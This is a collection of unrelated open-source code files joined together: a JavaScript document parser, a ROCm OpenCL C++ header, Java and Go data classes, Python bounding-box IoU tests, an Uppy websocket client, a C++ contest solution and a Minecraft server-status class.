colwidth: colwidth && colwidth.length && colwidth.every(function (width) { return width > 0; })
? colwidth
: null,
background: background,
rowspan: parseInt(cols[j].getAttribute('rowspan') || '1', 10),
};
colwidthIdx += colspan;
cellNodes.push(cell.createChecked(attrs, pmNode));
}
rowNodes.push(tableRow.createChecked(undefined, prosemirror_model_1.Fragment.from(cellNodes)));
}
return table.createChecked({
isNumberColumnEnabled: isNumberColumnEnabled,
__autoSize: columnSizes.length === 0 || columnSizes.every(function (width) { return width === 0; }),
}, prosemirror_model_1.Fragment.from(rowNodes));
}
function convertTaskList(schema, node) {
var nodes = [];
for (var i = 0, count = node.childNodes.length; i < count; i++) {
var child = node.childNodes[i];
if (child.nodeName.toLowerCase() === 'ac:task') {
nodes.push(convertTaskItem(schema, child));
}
}
return nodes.length ? schema.nodes.taskList.createChecked({}, nodes) : null;
}
function convertTaskItem(schema, node) {
var id = utils_1.getAcTagNode(node, 'ac:task-id');
var status = utils_1.getAcTagNode(node, 'ac:task-status');
var body = utils_1.getAcTagNode(node, 'ac:task-body');
var nodes = [];
if (body) {
var content = parseDomNode(schema, body).content;
content.forEach(function (child) {
child.descendants(function (node) {
// only nested inline nodes are supported (for now)
if (node.isInline) {
nodes.push(node);
}
});
});
}
var attrs = {};
if (id) {
attrs['localId'] = id.textContent;
}
if (status) {
attrs['state'] = status.textContent === 'complete' ? 'DONE' : 'TODO';
}
return schema.nodes.taskItem.createChecked(attrs, nodes);
}
function convertADF(schema, node) {
var str = node.textContent || '';
var json = JSON.parse(str);
return schema.nodeFromJSON(json);
}
//# sourceMappingURL=parse.js.map |
JustinTArthur/ROCm-OpenCL-Runtime | runtime/device/rocm/rocprogram.hpp | <reponame>JustinTArthur/ROCm-OpenCL-Runtime<gh_stars>1-10
//
// Copyright (c) 2008 Advanced Micro Devices, Inc. All rights reserved.
//
#pragma once
#ifndef WITHOUT_HSA_BACKEND
#include "rocbinary.hpp"
#if !defined(WITH_LIGHTNING_COMPILER)
#include "roccompilerlib.hpp"
#endif // !defined(WITH_LIGHTNING_COMPILER)
#include "acl.h"
#include <string>
#include <sstream>
#include <fstream>
#include <iostream>
#include "rocdevice.hpp"
#if defined(WITH_LIGHTNING_COMPILER)
#include "llvm/Support/AMDGPUCodeObjectMetadata.h"
#include "driver/AmdCompiler.h"
typedef llvm::AMDGPU::CodeObject::Metadata CodeObjectMD;
typedef llvm::AMDGPU::CodeObject::Kernel::Metadata KernelMD;
typedef llvm::AMDGPU::CodeObject::Kernel::Arg::Metadata KernelArgMD;
#endif // defined(WITH_LIGHTNING_COMPILER)
//! \namespace roc HSA Device Implementation
namespace roc {
//! \class empty program
class HSAILProgram : public device::Program {
friend class ClBinary;
public:
//! Default constructor
HSAILProgram(roc::NullDevice& device);
//! Default destructor
~HSAILProgram();
// Initialize Binary for GPU (used only for clCreateProgramWithBinary()).
virtual bool initClBinary(char* binaryIn, size_t size);
//! Returns the aclBinary associated with the program
const aclBinary* binaryElf() const { return static_cast<const aclBinary*>(binaryElf_); }
#if defined(WITH_LIGHTNING_COMPILER)
//! Returns the program metadata.
const CodeObjectMD* metadata() const { return metadata_; }
#endif // defined(WITH_LIGHTNING_COMPILER)
//! Return a typecasted GPU device
const NullDevice& dev() const { return static_cast<const NullDevice&>(device()); }
//! Returns the hsaBinary associated with the program
hsa_agent_t hsaDevice() const { return dev().getBackendDevice(); }
bool hasGlobalStores() const { return hasGlobalStores_; }
protected:
//! pre-compile setup for GPU
virtual bool initBuild(amd::option::Options* options);
//! post-compile setup for GPU
virtual bool finiBuild(bool isBuildGood);
/*! \brief Compiles GPU CL program to LLVM binary (compiler frontend)
*
* \return True if we successfully compiled a GPU program
*/
virtual bool compileImpl(const std::string& sourceCode, //!< the program's source code
const std::vector<const std::string*>& headers,
const char** headerIncludeNames,
amd::option::Options* options //!< compile options's object
);
#if defined(WITH_LIGHTNING_COMPILER)
virtual bool compileImpl_LC(const std::string& sourceCode, //!< the program's source code
const std::vector<const std::string*>& headers,
const char** headerIncludeNames,
amd::option::Options* options //!< compile options's object
);
#endif // defined(WITH_LIGHTNING_COMPILER)
/*! \brief Compiles LLVM binary to HSAIL code (compiler backend: link+opt+codegen)
*
* \return The build error code
*/
int compileBinaryToHSAIL(amd::option::Options* options //!< options for compilation
);
virtual bool linkImpl(amd::option::Options* options);
#if defined(WITH_LIGHTNING_COMPILER)
virtual bool linkImpl_LC(amd::option::Options* options);
bool setKernels_LC(amd::option::Options* options, void* binary, size_t binSize);
#endif // defined(WITH_LIGHTNING_COMPILER)
//! Link the device programs.
virtual bool linkImpl(const std::vector<Program*>& inputPrograms, amd::option::Options* options,
bool createLibrary);
#if defined(WITH_LIGHTNING_COMPILER)
virtual bool linkImpl_LC(const std::vector<Program*>& inputPrograms,
amd::option::Options* options, bool createLibrary);
#endif // defined(WITH_LIGHTNING_COMPILER)
virtual bool createBinary(amd::option::Options* options);
//! Initialize Binary
virtual bool initClBinary();
//! Release the Binary
virtual void releaseClBinary();
virtual const aclTargetInfo& info(const char* str = "") { return info_; }
virtual bool isElf(const char* bin) const {
return amd::isElfMagic(bin);
// return false;
}
//! Returns the binary
// This should ensure that the binary is updated with all the kernels
// ClBinary& clBinary() { return binary_; }
ClBinary* clBinary() { return static_cast<ClBinary*>(device::Program::clBinary()); }
const ClBinary* clBinary() const {
return static_cast<const ClBinary*>(device::Program::clBinary());
}
private:
/* \brief Returns the next stage to compile from, based on sections in binary,
* also returns completeStages in a vector, which contains at least ACL_TYPE_DEFAULT,
* sets needOptionsCheck to true if options check is needed to decide whether or not to recompile
*/
aclType getCompilationStagesFromBinary(std::vector<aclType>& completeStages,
bool& needOptionsCheck);
/* \brief Returns the next stage to compile from, based on sections and options in binary
*/
aclType getNextCompilationStageFromBinary(amd::option::Options* options);
bool saveBinaryAndSetType(type_t type, void* binary = nullptr, size_t size = 0);
//! Disable default copy constructor
HSAILProgram(const HSAILProgram&) = delete;
//! Disable operator=
HSAILProgram& operator=(const HSAILProgram&) = delete;
//! Returns all the options to be appended while passing to the
// compiler
std::string preprocessorOptions(amd::option::Options* options);
std::string codegenOptions(amd::option::Options* options);
// aclBinary and aclCompiler - for the compiler library
aclBinary* binaryElf_; //!< Binary for the new compiler library
aclBinaryOptions binOpts_; //!< Binary options to create aclBinary
bool hasGlobalStores_; //!< program has writable program scope variables
/* HSA executable */
hsa_ext_program_t hsaProgramHandle_; //!< Handle to HSA runtime program
hsa_executable_t hsaExecutable_; //!< Handle to HSA executable
#if defined(WITH_LIGHTNING_COMPILER)
CodeObjectMD* metadata_; //!< Runtime metadata
//! Return a new transient compiler instance.
static amd::opencl_driver::Compiler* newCompilerInstance();
#endif // defined(WITH_LIGHTNING_COMPILER)
};
/*@}*/} // namespace roc
#endif /*WITHOUT_HSA_BACKEND*/
|
gcherian/reladomo | reladomo/src/main/java/com/gs/fw/common/mithra/cache/offheap/OffHeapTimestampExtractorWithOffset.java | /*
Copyright 2016 <NAME>.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
*/
package com.gs.fw.common.mithra.cache.offheap;
import com.gs.fw.common.mithra.extractor.Extractor;
import com.gs.fw.common.mithra.extractor.TimestampExtractor;
import com.gs.fw.common.mithra.util.HashUtil;
import com.gs.fw.common.mithra.util.MithraUnsafe;
import com.gs.fw.common.mithra.util.TimestampPool;
import sun.misc.Unsafe;
import java.sql.Timestamp;
public class OffHeapTimestampExtractorWithOffset implements OffHeapTimestampExtractor
{
private static Unsafe UNSAFE = MithraUnsafe.getUnsafe();
private final int fieldOffset;
public OffHeapTimestampExtractorWithOffset(int fieldOffset)
{
this.fieldOffset = fieldOffset;
}
@Override
public Timestamp timestampValueOf(OffHeapDataStorage dataStorage, int dataOffset)
{
return TimestampPool.getInstance().getTimestampFromOffHeapTime(dataStorage.getLong(dataOffset, fieldOffset));
}
@Override
public boolean isAttributeNull(OffHeapDataStorage dataStorage, int dataOffset)
{
return dataStorage.getLong(dataOffset, fieldOffset) == TimestampPool.OFF_HEAP_NULL;
}
@Override
public int computeHashFromValue(Object key)
{
if (key == null)
{
return HashUtil.NULL_HASH;
}
return HashUtil.hash(((Timestamp)key).getTime());
}
@Override
public boolean valueEquals(OffHeapDataStorage dataStorage, int dataOffset, long otherDataAddress)
{
return dataStorage.getLong(dataOffset, fieldOffset) == UNSAFE.getLong(otherDataAddress + fieldOffset);
}
@Override
public boolean valueEquals(OffHeapDataStorage dataStorage, int dataOffset, int secondOffset)
{
return dataStorage.getLong(dataOffset, fieldOffset) == dataStorage.getLong(secondOffset, fieldOffset);
}
@Override
public boolean valueEquals(OffHeapDataStorage dataStorage, int dataOffset, Object key)
{
long time = dataStorage.getLong(dataOffset, fieldOffset);
if (key == null)
{
return time == TimestampPool.OFF_HEAP_NULL;
}
Timestamp timestamp = (Timestamp) key;
return timestamp.getTime() == time && timestamp.getNanos() % 1000000 == 0;
}
@Override
public int computeHashFromOnHeapExtractor(Object valueHolder, Extractor onHeapExtractor)
{
if (onHeapExtractor.isAttributeNull(valueHolder))
{
return HashUtil.NULL_HASH;
}
return HashUtil.hash(((TimestampExtractor)onHeapExtractor).timestampValueOfAsLong(valueHolder));
}
@Override
public boolean equals(OffHeapDataStorage dataStorage, int dataOffset, Object valueHolder, Extractor extractor)
{
return valueEquals(dataStorage, dataOffset, extractor.valueOf(valueHolder));
}
@Override
public int computeHash(OffHeapDataStorage dataStorage, int dataOffset)
{
long time = dataStorage.getLong(dataOffset, fieldOffset);
if (time == TimestampPool.OFF_HEAP_NULL)
{
return HashUtil.NULL_HASH;
}
return HashUtil.hash(time);
}
public int getFieldOffset()
{
return fieldOffset;
}
}
|
iychoi/go-irodsclient | irods/message/auth_pam_response.go | <gh_stars>10-100
package message
import (
"encoding/xml"
"fmt"
)
// IRODSMessagePamAuthResponse stores auth challenge
type IRODSMessagePamAuthResponse struct {
XMLName xml.Name `xml:"pamAuthRequestOut_PI"`
GeneratedPassword string `xml:"irodsPamPassword"`
}
// GetBytes returns byte array
func (msg *IRODSMessagePamAuthResponse) GetBytes() ([]byte, error) {
xmlBytes, err := xml.Marshal(msg)
return xmlBytes, err
}
// FromBytes returns struct from bytes
func (msg *IRODSMessagePamAuthResponse) FromBytes(bytes []byte) error {
err := xml.Unmarshal(bytes, msg)
return err
}
// FromMessage returns struct from IRODSMessage
func (msg *IRODSMessagePamAuthResponse) FromMessage(msgIn *IRODSMessage) error {
if msgIn.Body == nil {
return fmt.Errorf("cannot create a struct from an empty body")
}
err := msg.FromBytes(msgIn.Body.Message)
return err
}
|
swiftech/swiftboot | swiftboot-web/src/main/java/org/swiftboot/web/result/DefaultClassifiedCountResult.java | package org.swiftboot.web.result;
import com.fasterxml.jackson.annotation.JsonProperty;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
import java.util.HashMap;
import java.util.Map;
/**
* 默认的按分类统计结果
*
* @author swiftech
**/
@ApiModel("Default classified counting result")
public class DefaultClassifiedCountResult<K, V> implements Result{
/**
* 统计结果,按照分类的标识存储
*
*/
@ApiModelProperty(value = "Counting results map")
@JsonProperty("count_map")
private Map<K, V> map = new HashMap<>();
public Map<K, V> getMap() {
return map;
}
public void setMap(Map<K, V> map) {
this.map = map;
}
}
|
picwoon/As_built_BIM | second/tests/test_iou.py | from second.core.non_max_suppression.nms_gpu import rotate_iou_gpu, rotate_iou_gpu_eval
import numpy as np
from utils3d.bbox3d_ops import Bbox3D
def test_iou():
angle = 0.1 * np.pi/180.0
anchors_3d = [[0,0,0, 2, 6 ,4, angle],]
#[1.3,0,0, 2,8,4,0],
#[0,4,0, 2,8,4,0]]
anchors_3d = np.array(anchors_3d, dtype=np.float32)
#anchors_3d = Bbox3D.convert_to_yx_zb_boxes(anchors_3d)
angle_1 = 0 * np.pi/180.0
targets_3d = [[0,0,0, 2,8,4, angle_1]]
targets_3d = np.array(targets_3d, dtype=np.float32)
#targets_3d = Bbox3D.convert_to_yx_zb_boxes(targets_3d)
anchors_2d = anchors_3d[:,[0,1,3,4,6]]
targets_2d = targets_3d[:,[0,1,3,4,6]]
# criterion=0: use anchors_2d as reference
# criterion=1: use targets_2d as reference
#ious = rotate_iou_gpu_eval(targets_2d, anchors_2d, criterion=2)
#ious = rotate_iou_gpu_eval(anchors_2d, targets_2d, criterion=2)
ious = rotate_iou_gpu_eval(anchors_2d.copy(), anchors_2d.copy(), criterion=2)
print(anchors_2d)
print(f'ious: {ious}')
return
boxes_3d = np.concatenate([anchors_3d, targets_3d], 0)
labels = np.array([0]*anchors_3d.shape[0] + [1]*targets_3d.shape[0])
Bbox3D.draw_bboxes(boxes_3d, up_axis='Z', is_yx_zb=False, labels=labels)
pass
def test_iou2():
angle0 = 0 * np.pi/180.0
box0 = np.array([[0,0, 2, 6 , angle0]])
angle1 = 0.1 * np.pi/180.0
box1 = np.array([[0,0, 2, 6 , angle1]])
#ious = rotate_iou_gpu_eval(box0, box0, criterion=2)
ious = rotate_iou_gpu_eval(box1, box1, criterion=2)
print(f'ious: {ious}')
def test_iou1():
box0 = np.array([[ 4.38500402e+01, -4.00173668e+01, 1.36749997e+00, 2.58104093e+00,
9.47311396e-02, 2.73499994e+00, 1.59986348e-02 ]])
box1 = np.array([[ 4.38299566e+01, -4.00226317e+01, 1.36749997e+00, 2.62101683e+00,
9.47311399e-02, 2.73499994e+00, 1.57467297e-02 ]])
boxes = np.concatenate([box0, box1], 0)
boxes = Bbox3D.convert_to_yx_zb_boxes(boxes)
box0 = boxes[0:1,[0,1,3,4,6]]
box1 = boxes[1:2,[0,1,3,4,6]]
#box1[:,0:3] = 0
#box1[:,3:6] = 1
box1[:,-1] = 0.6
ious = rotate_iou_gpu_eval( box1, box1 , criterion=-1)
print(ious)
Bbox3D.draw_bboxes(boxes, 'Z', True)
import pdb; pdb.set_trace() # XXX BREAKPOINT
pass
if __name__ == '__main__':
test_iou2()
|
nicolas-costa/laravel-phonebook | resources/metronic/tools/node_modules/@uppy/companion-client/lib/Socket.js | <reponame>nicolas-costa/laravel-phonebook
var ee = require('namespace-emitter');
module.exports =
/*#__PURE__*/
function () {
function UppySocket(opts) {
this.opts = opts;
this._queued = [];
this.isOpen = false;
this.emitter = ee();
this._handleMessage = this._handleMessage.bind(this);
this.close = this.close.bind(this);
this.emit = this.emit.bind(this);
this.on = this.on.bind(this);
this.once = this.once.bind(this);
this.send = this.send.bind(this);
if (!opts || opts.autoOpen !== false) {
this.open();
}
}
var _proto = UppySocket.prototype;
_proto.open = function open() {
var _this = this;
this.socket = new WebSocket(this.opts.target);
this.socket.onopen = function (e) {
_this.isOpen = true;
while (_this._queued.length > 0 && _this.isOpen) {
var first = _this._queued[0];
_this.send(first.action, first.payload);
_this._queued = _this._queued.slice(1);
}
};
this.socket.onclose = function (e) {
_this.isOpen = false;
};
this.socket.onmessage = this._handleMessage;
};
_proto.close = function close() {
if (this.socket) {
this.socket.close();
}
};
_proto.send = function send(action, payload) {
// attach uuid
if (!this.isOpen) {
this._queued.push({
action: action,
payload: payload
});
return;
}
this.socket.send(JSON.stringify({
action: action,
payload: payload
}));
};
_proto.on = function on(action, handler) {
this.emitter.on(action, handler);
};
_proto.emit = function emit(action, payload) {
this.emitter.emit(action, payload);
};
_proto.once = function once(action, handler) {
this.emitter.once(action, handler);
};
_proto._handleMessage = function _handleMessage(e) {
try {
var message = JSON.parse(e.data);
this.emit(message.action, message.payload);
} catch (err) {
console.log(err);
}
};
return UppySocket;
}(); |
juseongkr/BOJ | codeforces/Codeforces_Round_623_Div2/1315B.cpp | #include <iostream>
#include <algorithm>
using namespace std;
string s;
int T, a, b, x;
int main()
{
ios_base::sync_with_stdio(0);
cout.tie(0);
cin.tie(0);
cin >> T;
while (T--) {
cin >> a >> b >> x >> s;
int ans = s.length();
for (int i=s.length()-2; i>=0; i--) {
if (s[i] == 'A' && x < a)
break;
if (s[i] == 'B' && x < b)
break;
if (i != 0 && s[i] != s[i-1]) {
ans = i+1;
if (s[i] == 'A')
x -= a;
if (s[i] == 'B')
x -= b;
}
if (i == 0)
ans = 1;
}
cout << ans << '\n';
}
return 0;
}
|
HeyBanditoz/mchelper | src/main/java/io/banditoz/mchelper/serverstatus/StatusResponse.java | package io.banditoz.mchelper.serverstatus;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import com.fasterxml.jackson.databind.JsonNode;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Base64;
@JsonIgnoreProperties(ignoreUnknown = true)
public class StatusResponse {
private JsonNode description;
private Players players;
private Version version;
private String favicon;
private int time;
public JsonNode getDescription() {
return description;
}
// these should be actual objects, but we don't need all the crap that comes with them, look at https://wiki.vg/Chat
public String getDescriptionAsString() {
StringBuilder descStringBuilder = new StringBuilder();
if (description.has("extra")) {
for (JsonNode node : description.withArray("extra")) {
if (node.has("text")) {
descStringBuilder.append(node.get("text").asText());
}
}
}
if (description.has("text")) {
descStringBuilder.append(description.get("text").asText());
}
return descStringBuilder.toString();
}
public Players getPlayers() {
return players;
}
public Version getVersion() {
return version;
}
public String getFavicon() {
return favicon;
}
public ByteArrayOutputStream getFaviconAsImage() throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
if (this.favicon == null) {
InputStream packBytes = getClass().getClassLoader().getResource("pack.png").openStream();
baos.write(packBytes.readAllBytes());
packBytes.close();
}
else {
baos.write(Base64.getDecoder().decode(this.favicon.substring(this.favicon.indexOf(",") + 1).replace("\n", "")));
}
return baos;
}
public int getTime() {
return time;
}
public void setTime(int time) {
this.time = time;
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.